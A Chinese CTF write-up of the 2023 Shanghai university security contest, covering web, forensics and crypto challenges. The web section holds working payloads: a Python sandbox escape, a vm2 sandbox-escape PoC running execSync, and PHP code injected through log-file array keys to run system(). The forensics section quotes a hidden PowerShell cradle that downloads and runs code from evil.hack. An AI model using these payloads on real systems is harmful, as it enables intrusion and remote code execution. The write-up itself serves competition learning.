CTF | 2023 第八届上海市大学生网络安全大赛 / 磐石行动 CTF部分 WriteUp


本文首发于 SecIN 社区: https://sec-in.com/article/2220

引言

第八届上海市大学生网络安全大赛

暨“磐石行动”2023(首届)大学生网络安全邀请赛

—— CTF比赛

2023.5.20 9:00 - 21:00

—— 漏洞挖掘比赛

2023.5.21 00:00 - 2023.5.22 24:00

上海市赛又来了!

今年还整了个 漏洞挖掘 的比赛,说要和 CTF 一起计分,打起来累死了。

这篇博客就来记录下 CTF 比赛的 writeup,其中有几题是队友做的,有些题目喵喵卡住了赛后又来复现了一下。

顺便,可以回顾一下上一届的 writeup: CTF | 2021 东华杯 大学生网络安全邀请赛 WriteUp

(上一届上海市赛还是 2021 年的 东华杯 呢,2022 年疫情还是啥原因就没下文了,甚至 21 年的决赛一直拖到了 22 年底才办,甚至到现在咱还没收到这个决赛的证书,喵喵不好说

漏洞挖掘比赛 / 靶场渗透 的部分详见喵喵的另一篇博客:

Pentest | 2023 第八届上海市大学生网络安全大赛 / 磐石行动 漏洞挖掘 Walkthrough

Web

ezpython

Python沙箱逃逸,使用字符串拼接绕过waf

#!/usr/bin/env python3

#l = len(''.__class__.__mro__[1].__subclasses__())
#for i in range(l):
#    if 'wra'+'pper' not in str(''.__class__.__mro__[1].__subclasses__()[i].__init__):
#        print (i, ''.__class__.__mro__[1].__subclasses__()[i])
        
print(''.__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['__bui' + 'ltins__']['op'+'en']("flag").read())

CookieBack

发现设置了一个 connect.sid cookie

根据提示要把 cookie 发过去,然后试了下 /cookie 路由

http://116.236.144.37:28300/cookie?data=connect.sid=s%3A_20Zss03p2lrAvx4tps2ym7i7hwQLa5c.1DS6RQkLGL5PizaClRwIgxHVAlK3dd2%2F%2B0w9OIM0E9E

然后再访问就发现有 flag 在上面了

flag{31461e6c-efc2-474b-918e-e242d9bdfea2}

easy_node

访问 /src


const express = require('express');
const app = express();
var bodyParser = require('body-parser')
app.use(bodyParser.json())
const {VM} = require("vm2");
const fs = require("fs");
const session = require("express-session");
const cookieParser = require('cookie-parser');
session_secret = Math.random().toString(36).substr(2);
app.use(cookieParser(session_secret));
app.use(session({ secret: session_secret, resave: true, saveUninitialized: true }))

function copyArray(arr1){
    var arr2 = new Array(arr1.length);
    for (var i=0;i<arr1.length;i++){
        if(arr1[i] instanceof Object){
            arr2[i] = copyArray(arr1[i])
        }else{
            arr2[i] = arr1[i]
        }
    }
    return arr2
}

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.post('/vm2_tester',function(req,res){
    if(req.body.name) {
        req.session.user = {"username": req.body.name}
        const properties = req.body.properties
        for (let i = 0; i < properties.length; i++) {
            if (properties[i] == 'vm2_tester') {
                res.send('cant set vm2_tester by self')
                return
            }
        }
        req.session.user.properties = copyArray(properties)
        res.send('Success')
    }else {
        res.send("input username")
    }
})


app.post('/vm2',function  (req, res) {

    if(req.session.user && req.session.user.properties) {
        for (var i = 0; i < req.session.user.properties.length; i++)
            if (req.session.user.properties[i] == 'vm2_tester') {
                if (req.body["code"]) {
                    if (/\b(?:function)\b/.test(req.body["code"])) {
                        res.send("define function not allowed")
                        return;
                    }
                    if (/\b(?:getPrototypeOf)\b/.test(req.body["code"])) {
                        res.send("define getPrototypeOf not allowed")
                        return;
                    }
                    const vm = new VM();
                    res.send(vm.run(req.body["code"]))
                    return
                } else{
                    res.send("input code")
                }
            }
    }else{
        res.send("not vm2 tester rights")
    }

})


app.get('/', function (req, res) {
    res.send('see `/src`,use vm2 3.9.16');
});
app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

/vm2_tester 这个路由先整个用户 session

req.session.user.properties = copyArray(properties) 这里大概率需要整个 原型链污染 之类的东西出来

(好像也没必要?

/vm2 里需要 req.session.user.properties 中包含 vm2_tester

于是可以构造个来绕过

传 JSON,这里得加个 length key,不然 properties.length 是 undefined

然后对象里的 key 得是 0,这样在索引的时候才能拿到对应的值

POST /vm2_tester HTTP/1.1
Host: 116.236.144.37:27815
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: connect.sid=s%3AJDxY4u0ntXWl99OHhVJbA9AlVUNT9E-6.%2FhfIVUCp6cJd6ZWe9aRRvnUTNULynLYvCFUS8B52zHE
Connection: close
Content-Type: application/json
Content-Length: 84

{"name": "miaotony", "properties":{"length": 1,"0":{"length": 1,"0": "vm2_tester"}}}

版本 vm2 3.9.16,要绕一下这里面的过滤

参考 New sandbox escape PoC exploit available for VM2 library, patch now

PoC exploit

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

然后再稍微绕一下关键字的过滤就行

payload:

POST /vm2 HTTP/1.1
Host: 116.236.144.37:27815
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: connect.sid=s%3AJDxY4u0ntXWl99OHhVJbA9AlVUNT9E-6.%2FhfIVUCp6cJd6ZWe9aRRvnUTNULynLYvCFUS8B52zHE
Connection: close
Content-Type: application/json
Content-Length: 379

{"code":"eval(\"err = {};const handler = {    getProto\"+\"typeOf(target) {        (func\"+\"tion stack() {            new Error().stack;            stack();        })();    }};const proxiedErr = new Proxy(err, handler);try {    throw proxiedErr;} catch ({constructor: c}) {    c.constructor('return process')().mainModule.require('child_process').execSync('cat /flag');}\");"}

好耶!

easy_log

直接访问是个登录界面

I will logged your ip+uri+input in php file , try to find something in log/d5b9555a68b73f3b36aedc1bef1e9d97/202305/20.php

尝试发现用户名密码是 admin admin

登录成功的话返回

{"ip":"xx.xx.xx.xx","url":"https:\/\/116.236.144.37:22552\/login.php","time":1684603650,"action":"login success登录密码:21232f297a57a5a743894a0e4a801fc3","username":"admin"}

然后各种测试了下

用户名只能是 admin

试试传 Array 的话,例如 username=admin&password[][]=admin 报 md5 warning

返回

{"ip":"xx.xx.xx.xx","url":"https:\/\/116.236.144.37:22552\/login.php\/\"adsga'&lt;>","time":1684607980,"action":"passowrd error!登录密码:","username":"admin"}

URL 被 html entity 转义掉了

username[]=admin&password[][]=admin

{"ip":"xx.xx.xx.xx","url":"https:\/\/116.236.144.37:22552\/login.php\/\"adsga'&lt;>","time":1684608154,"action":"登录密码:","username":["admin"]}

再试

username[]=admin&password[<?php+phpinfo();?>]=admin<?php+phpinfo();?>

{"ip":"xx.xx.xx.xx","url":"https:\/\/116.236.144.37:22552\/login.php\/\"adsga'&lt;?php+phpinfo();?>","time":1684608293,"action":"登录密码:","username":["admin"]}

username[aaaa][bbb]=admin&password[cc]=admin

{"ip":"xx.xx.xx.xx","url":"https:\/\/116.236.144.37:22552\/login.php\/\"adsga'&lt;?php+phpinfo();?>","time":1684608389,"action":"登录密码:","username":{"aaaa":{"bbb":"admin"}}}

最后再试,发现 username 这里面会把 key 中的 php 标签给渲染出来,成功打出 phpinfo

然后就拿 flag 好了

POST /login.php/"adsga'<?php+phpinfo();?> HTTP/1.1
Host: 116.236.144.37:22552
Content-Length: 62
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://116.236.144.37:22552
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://116.236.144.37:22552/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

username[aaaa][<?php echo system('ls /');?>]=admin&password=admin

username[aaaa][<?php echo system('cat /S3rect_1S_H3re');?>]=admin&password=admin

顺便,偷一下源码看看喵(白盒审计下

login.php

<?php
// error_reporting(0);
include("func.php");
include("security.php");
include("input.php");

$instance = new Security();
$url = 'https://'.strtolower($_SERVER['HTTP_HOST']);
define('FC_NOW_URL',$url.($_SERVER['REQUEST_URI'] ? $_SERVER['REQUEST_URI'] : $_SERVER['PHP_SELF']));
define('SYS_TIME', $_SERVER['REQUEST_TIME'] ? $_SERVER['REQUEST_TIME'] : time());


function check($value){
    if (preg_match('/select|;|\\\'|\\\\|creat|like|insert| |update|sys|drop|union|file|show|rename|handler|alter|sys|if|innodb|prepare|execute|delete|where\./i', $value)){
        die('Hacker!');
        exit();
    }
}


$input = new Input();


if ($input->post('username') && $input->post('password')){
    $user=$input->post('username');
    $pwd=md5($input->post('password'));
    check($user);
    if ($user === "admin"){
        if($pwd==="21232f297a57a5a743894a0e4a801fc3"){
            $msg = "login success";
            echo '<script>alert("login success!")</script>';
            echo '<script>alert("No flag!");history.go(-1);</script>';
        }
        else{
            $msg = "passowrd error!";
            echo '<script>alert("password error!");history.go(-1);</script>';
        }
    }
    else{
        echo '<script>alert("username error!");history.go(-1);</script>';
    }
    $input->system_log($user,$msg."登录密码:".$pwd);
}

input.php

<?php

class Input{
    protected $ip_address;
    
    public function post($name, $xss = true) {
        $value = isset($_POST[$name]) ? $_POST[$name] : false;
        return $xss ? $this->xss_clean($value) : $value;
    }

    public function get($name = '', $xss = true) {
        $value = !$name ? $_GET : (isset($_GET[$name]) ? $_GET[$name] : false);
        return $xss ? $this->xss_clean($value) : $value;
    }

    public function ip_address() {

        if ($this->ip_address) {
            return $this->ip_address;
        }

        if (getenv('HTTP_CLIENT_IP')) {
            $client_ip = getenv('HTTP_CLIENT_IP');
        } elseif(getenv('HTTP_X_FORWARDED_FOR')) {
            $client_ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif(getenv('REMOTE_ADDR', true)) {
            $client_ip = getenv('REMOTE_ADDR', true);
        } else {
            $client_ip = $_SERVER['REMOTE_ADDR'];
        }
        
        // 验证规范
        if (!preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.](?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $client_ip)) {
            $client_ip = '';
        }

        $this->ip_address = $client_ip;
        $this->ip_address = str_replace([",", '(', ')', ',', chr(13), PHP_EOL], '', $this->ip_address);
        $this->ip_address = trim($this->ip_address);

        return $this->ip_address;
    }
    public function system_log($username,$action) {

        $data = [
            'ip' => $this->ip_address(),
            'url' => dr_safe_url(FC_NOW_URL),
            'time' => SYS_TIME,
            'action' => addslashes(dr_safe_replace($action)),
            'username' => $username,
        ];

        $path = 'log/'.md5($_SERVER["REMOTE_ADDR"])."/".date('Ym', SYS_TIME).'/';
        $file = $path.date('d', SYS_TIME).'.php';
        if (!is_dir($path)) {
            dr_mkdirs($path);
        }

        file_put_contents($file, PHP_EOL.dr_array2string($data));
    }
    public function xss_clean($str, $is = FALSE) {
        global $instance;
        return $instance->xss_clean($str, $is);
    }
}

看起来做了一堆的过滤,在 system_log 函数里只有 $username 是直接传进来的

$username 只在 check 函数里对一些 sql 注入的关键字做了过滤,而没有考虑传数组的 key 里带 php 编码这种情况,感觉是故意为之的,乐

Misc

good_http

双图盲水印

https://github.com/chishaxie/BlindWaterMark

python bwmforpy3.py decode one.png theother.png watermark.png

稍微拉下对比度,得到压缩包密码 XD8C2VOKEU

解开压缩包拿到 flag

flag{d580cc00-e489-467e-882b-1c340560533a}

complicated_http

有个 index.php 里上传了木马

$key="9d239b100645bd71"; AES-128-ECB PKCS1_PADDING

导出 HTTP 对象,然后写个脚本跑一下解密

import base64
from Crypto.Cipher import AES


def decrypt(data):
    key = "9d239b100645bd71"
    magic_num = int(key[:2], 16) % 16
    data = data[:-magic_num]
    cipher = AES.new(key.encode(), AES.MODE_ECB)
    decrypted = cipher.decrypt(base64.b64decode(data))
    return decrypted


for i in range(59):
    with open(f'shell({i}).php' if i != 0 else 'shell.php', 'rb') as f:
        encrypted = f.read()
    # print(encrypted)
    decrypted = decrypt(encrypted)
    print("==========>", i)
    if b'"msg":"' in decrypted:
        print(decrypted)
        data = decrypted.split(b'"msg":"')[1].split(b'"}')[0]
        msg = base64.b64decode(data)
        print(msg)
==========> 41
b'{"status":"c3VjY2Vzcw==","msg":"ZmxhZ3sxZWM1YmU1YS1hZmJkLTQ4NjctODAwYi0zZWI3MzliOWUzYmR9Cg=="}\x02\x02'
b'flag{1ec5be5a-afbd-4867-800b-3eb739b9e3bd}\n'

非常坏usb

USB 流量分析,一眼看到有 8 个字节的键盘流量

新版的 tshark usb data 的字段改了,手动提取一下

tshark -r usb.pcapng -T fields -e usbhid.data "usb.data_len == 8" > usb.dat

然后他这里有点不一样,相应的字符在数据里的第4个字节,魔改一下 wangyihang 师傅的经典脚本

#!/usr/bin/env python3
# Modified from https://github.com/WangYihang/UsbKeyboardDataHacker/blob/master/UsbKeyboardDataHacker.py
# MiaoTony

import sys
import os

DataFileName = "usb.dat"

presses = []

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":":","34":"\"","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

def main():
    # read data
    with open(DataFileName, "r") as f:
        for line in f:
            presses.append(line[0:-1])
    # handle
    result = ""
    for press in presses:
        if press == '':
            continue
        if ':' in press:
            Bytes = press.split(":")
        else:
            Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
        if Bytes[0] == "00":
            # print(bytes)
            if normalKeys.get(Bytes[3]):  # Bytes[2] != "00" and 
                result += normalKeys[Bytes[3]]
        elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000: # shift key is pressed.
            if normalKeys.get(Bytes[3]):  # Bytes[2] != "00" and 
                result += shiftKeys[Bytes[3]]
        else:
            print("[-] Unknow Key : %s" % (Bytes[0]))
    print("[+] Found : %s" % (result))

if __name__ == "__main__":
    main()

得到

powershell(New-Object<SPACE>System.Net.WebClient).DownloadFile('https://github.com/jiayuqi7813/download/releases/download/f/mal.pdf',<SPACE>'C:\word.pdf')cmd<SPACE>/c<SPACE>start<SPACE>C:\word.pdf

下载这个 pdf,发现有病毒!

附件里有一张图片和一个恶意脚本

%windir%\system32\cmd.exe /c pow^ers^He^l^l.exe -nO^p -w hid^den -c $I=new-object net.webclient;$key="f38aeb65a88f50a2";$I.proxy=[Net.Webrequest]::GetSystemWebProxy();$key=$key+"373643a82158c6dc";$I.Proxy.Credentials=[Net.CredentialsCache]::DefaultCredentials;IEX $.downloadstring('http://evil.hack/home');

这个域名没有解析,但是给了个 key f38aeb65a88f50a2373643a82158c6dc,估计是图片某种隐写的密码

而图片的 LSB 里很明显有东西,但是直接提取得到的不是明文

于是大概率是 cloacked-pixel

$ python lsb.py extract hacksun.png out f38aeb65a88f50a2373643a82158c6dc
[+] Image size: 1010x783 pixels.
[+] Written extracted data to out.

flag{327a6c4304ad5938eaf0efb6cc3e53dc}

直播信息战

又是流量包,一看就一堆 RTMP 流量,大概率就是个视频的推流

比赛的时候这题来不及往下做了,来复现一下(

先把最大的 rtmp / tcp 流量单独导出来到一个 pcap 文件,不然处理后拿到的东西太杂了

过滤之后这里面的就是对应的数据包了

然后导出显示的分组就好了。

rtmp2flv 这个工具可以将未加密的 RTMP 流量提取为 FLV 视频

apt install tcpflow

tcpflow -T %T_%A%C%c.rtmp -r rtmp.pcapng
./rtmp2flv.py *.rtmp

得到视频后播放,很明显有幅度谱和相位谱

于是其实 IFFT 一下就好了

(其实直接拿那个频域盲水印的工具就能解

Reference & Extensive reading:

一道关于 rtmp、rtsp、mpeg-dash 视频提取的流量分析题

Crypto

bird

txt 改 zip,解压一个 docx

图片的替换文字里有对应的 char(),转成 ASCII 就有了

birdislovely

crackme

附件里直接送了 flag,乐

flag{d3eb9a9233e52948740d7eb8c3062d14}

(后面果然又放了道 revenge

RSA_like

mini LCTF 2023 原题

参考 https://blog.csdn.net/weixin_52640415/article/details/130547942

改下脚本

拿 SageMath 跑

#---------------------------
'''
1,素数结构 p = a^2 + 3* b^2 ,p%3 == 1
2,phi的结构phi = (p^2+p+1)*(q^2+q+1)
3,给出N,e,c 
论文:https://eprint.iacr.org/2021/1160.pdf 
'''
import time
 
############################################
# Config
##########################################
 
"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True
 
"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct 
upperbound on the determinant. Note that this 
doesn't necesseraly mean that no solutions 
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False
 
"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension
 
############################################
# Functions
##########################################
 
# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1
 
    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
 
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)
 
# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB
 
    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj
 
            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB
 
            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB
 
 
def attack(N, e, m, t, X, Y):
    modulus = e
 
    PR.<x, y> = PolynomialRing(ZZ)
    a = N + 1
    b = N * N - N + 1
    f = x * (y * y + a * y + b) + 1
 
    gg = []
    for k in range(0, m+1):
        for i in range(k, m+1):
            for j in range(2 * k, 2 * k + 2):
                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
    for k in range(0, m+1):
        for i in range(k, k+1):
            for j in range(2*k+2, 2*i+t+1):
                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
 
    def order_gg(idx, gg, monomials):
        if idx == len(gg):
            return gg, monomials
 
        for i in range(idx, len(gg)):
            polynomial = gg[i]
            non = []
            for monomial in polynomial.monomials():
                if monomial not in monomials:
                    non.append(monomial)
            
            if len(non) == 1:
                new_gg = gg[:]
                new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i]
 
                return order_gg(idx + 1, new_gg, monomials + non)    
 
    gg, monomials = order_gg(0, gg, [])
 
    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0)
        for jj in range(1, nn):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y)
 
    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus^m, nn-1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0,0
 
    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus^m)
    
    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus^(m*nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
 
    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus^m)
 
    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")
 
    BB = BB.LLL()
 
    if debug:
        print("LLL is done!")
 
    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False
    
    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<a, b> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](a,b) * BB[pol1_idx, jj] / monomials[jj](X, Y)
                pol2 += monomials[jj](a,b) * BB[pol2_idx, jj] / monomials[jj](X, Y)
 
            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)
 
            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break
 
    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 0, 0
    
    rr = rr(q, q)
 
    # solutions
    soly = rr.roots()
 
    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 0, 0
    
    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]
    
    return solx, soly
 
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
N = 114781991564695173994066362186630636631937111385436035031097837827163753810654819119927257768699803252811579701459939909509965376208806596284108155137341543805767090485822262566517029632602553357332822459669677106313003586646066752317008081277334467604607046796105900932500985260487527851613175058091414460877
e = 4252707129612455400077547671486229156329543843675524140708995426985599183439567733039581012763585270550049944715779511394499964854645012746614177337614886054763964565839336443832983455846528585523462518802555536802594166454429110047032691454297949450587850809687599476122187433573715976066881478401916063473308325095039574489857662732559654949752850057692347414951137978997427228231149724523520273757943185561362572823653225670527032278760106476992815628459809572258318865100521992131874267994581991743530813080493191784465659734969133910502224179264436982151420592321568780882596437396523808702246702229845144256038
 
X = 1 << 469
Y = 2 * inthroot(Integer(2 * N), 2)
 
res = attack(N, e, 4, 2, X, Y)
print(res) # gives k and p + q, the rest is easy
# (622388446837437742717907189821104799227621425864896467926829525917356157945038443057723315324154820787694801673, 21581081267317264057300397805667850767978100748500497887465036772601909848077661066029306567420215347344093486009661621345217539597125914633479358949462578)

b, c = res[1], N
Dsqrt =  inthroot(Integer(b^2-4*c),2)
p, q = (b + Dsqrt) // 2, (b - Dsqrt) // 2
assert p * q == N

print(p, q)
# 12076532702818803027742169983530419558608401078508017894707093811716696786941308547797368731019670776508448150953432566915232808757060410156378938522359551 9504548564498461029558227822137431209369699669992479992757942960885213061136352518231937836400544570835645335056229054429984730840065504477100420427103027

然后

p, q = 12076532702818803027742169983530419558608401078508017894707093811716696786941308547797368731019670776508448150953432566915232808757060410156378938522359551, 9504548564498461029558227822137431209369699669992479992757942960885213061136352518231937836400544570835645335056229054429984730840065504477100420427103027

from Crypto.Util.number import *
from RRSSAA import *
from gmpy2 import invert
c = (59282499553838316432691001891921033515315025114685250219906437644264440827997741343171803974602058233277848973328180318352570312740262258438252414801098965814698201675567932045635088203459793209871900350581051996552631325720003705220037322374626101824017580528639787490427645328264141848729305880071595656587, 73124265428189389088435735629069413880514503984706872237658630813049233933431869108871528700933941480506237197225068288941508865436937318043959783326445793394371160903683570431106498362876050111696265332556913459023064169488535543256569591357696914320606694493972510221459754090751751402459947788989410441472)
#跟NovelSystem稍有区别,这里可以算出phi求出d,解密方式和加密用同一函数
phi = (p**2 + p + 1)*(q**2 + q + 1)
d = invert(e,phi)
# d = 1928162174341217691501073396348543374914457726701746377207373957621633937288084167870015912332959632509771228593
m = RRSSAA_power(c,d,N)
flag = b''.join([long_to_bytes(v)[:19] for v in m])
print(flag)
# flag{4872c7e4cc11508f8325f6fb68512a23}

dirty_flag

源码:

from typing import List
import hashlib
import uuid
import sys

flag = f"flag{{{uuid.uuid4()}}}"
flag_split = flag.split("-")


class Node:
    def __init__(self, left, right, value: str) -> None:
        self.left: Node = left
        self.right: Node = right
        self.value = value

    @staticmethod
    def hash(val: str) -> str:
        return hashlib.sha256(val.encode('utf-8')).hexdigest()

    @staticmethod
    def doubleHash(val: str) -> str:
        return Node.hash(Node.hash(val))


class MerkleTree:
    def __init__(self, values: List[str]) -> None:
        self.__buildTree(values)

    def __buildTree(self, values: List[str]) -> None:
        leaves: List[Node] = [Node(None, None, Node.doubleHash(e)) for e in values]
        if len(leaves) % 2 == 1:
            leaves.append(leaves[-1:][0])  # duplicate last elem if odd number of elements
        self.root: Node = self.__buildTreeRec(leaves)

    def __buildTreeRec(self, nodes: List[Node]) -> Node:
        half: int = len(nodes) // 2

        if len(nodes) == 2:
            return Node(nodes[0], nodes[1], Node.doubleHash(nodes[0].value + nodes[1].value))
        if len(nodes) == 1:
            return Node(nodes[0], nodes[0], Node.doubleHash(nodes[0].value + nodes[0].value))
        left: Node = self.__buildTreeRec(nodes[:half])
        right: Node = self.__buildTreeRec(nodes[half:])
        value: str = Node.doubleHash(left.value + right.value)
        return Node(left, right, value)

    def printTree(self) -> None:
        if not self.root:
            return
        queue: list = ["r", self.root]
        while len(queue) > 0:
            node = queue.pop(0)
            if isinstance(node, Node):
                print(node.value, end=" ")
                if node.left:
                    queue.append(node.left)
                if node.right:
                    queue.append(node.right)
            else:
                if len(queue) > 0:
                    queue.append("r")
                    print()

    def getRootHash(self) -> str:
        return self.root.value


if __name__ == "__main__":
    mtree: MerkleTree = MerkleTree(flag_split)
    with open('output.txt', "w") as f:
        sys.stdout = f
        print(flag)
        mtree.printTree()

output.txt

flag{09***********************************755ca2}

55cfb0b1cf88f01fc9ed2956a02f90f9014d47ad303dbb52fe7d331ddea37d88 
b665a90585127215c576871b867e203e5a00107d11824d34ba2cb5f7c4fd9682 4cac70a760893573e0e5e90f44547e9dc5a53a9f414d36bc24d2d6fd03970ec2 
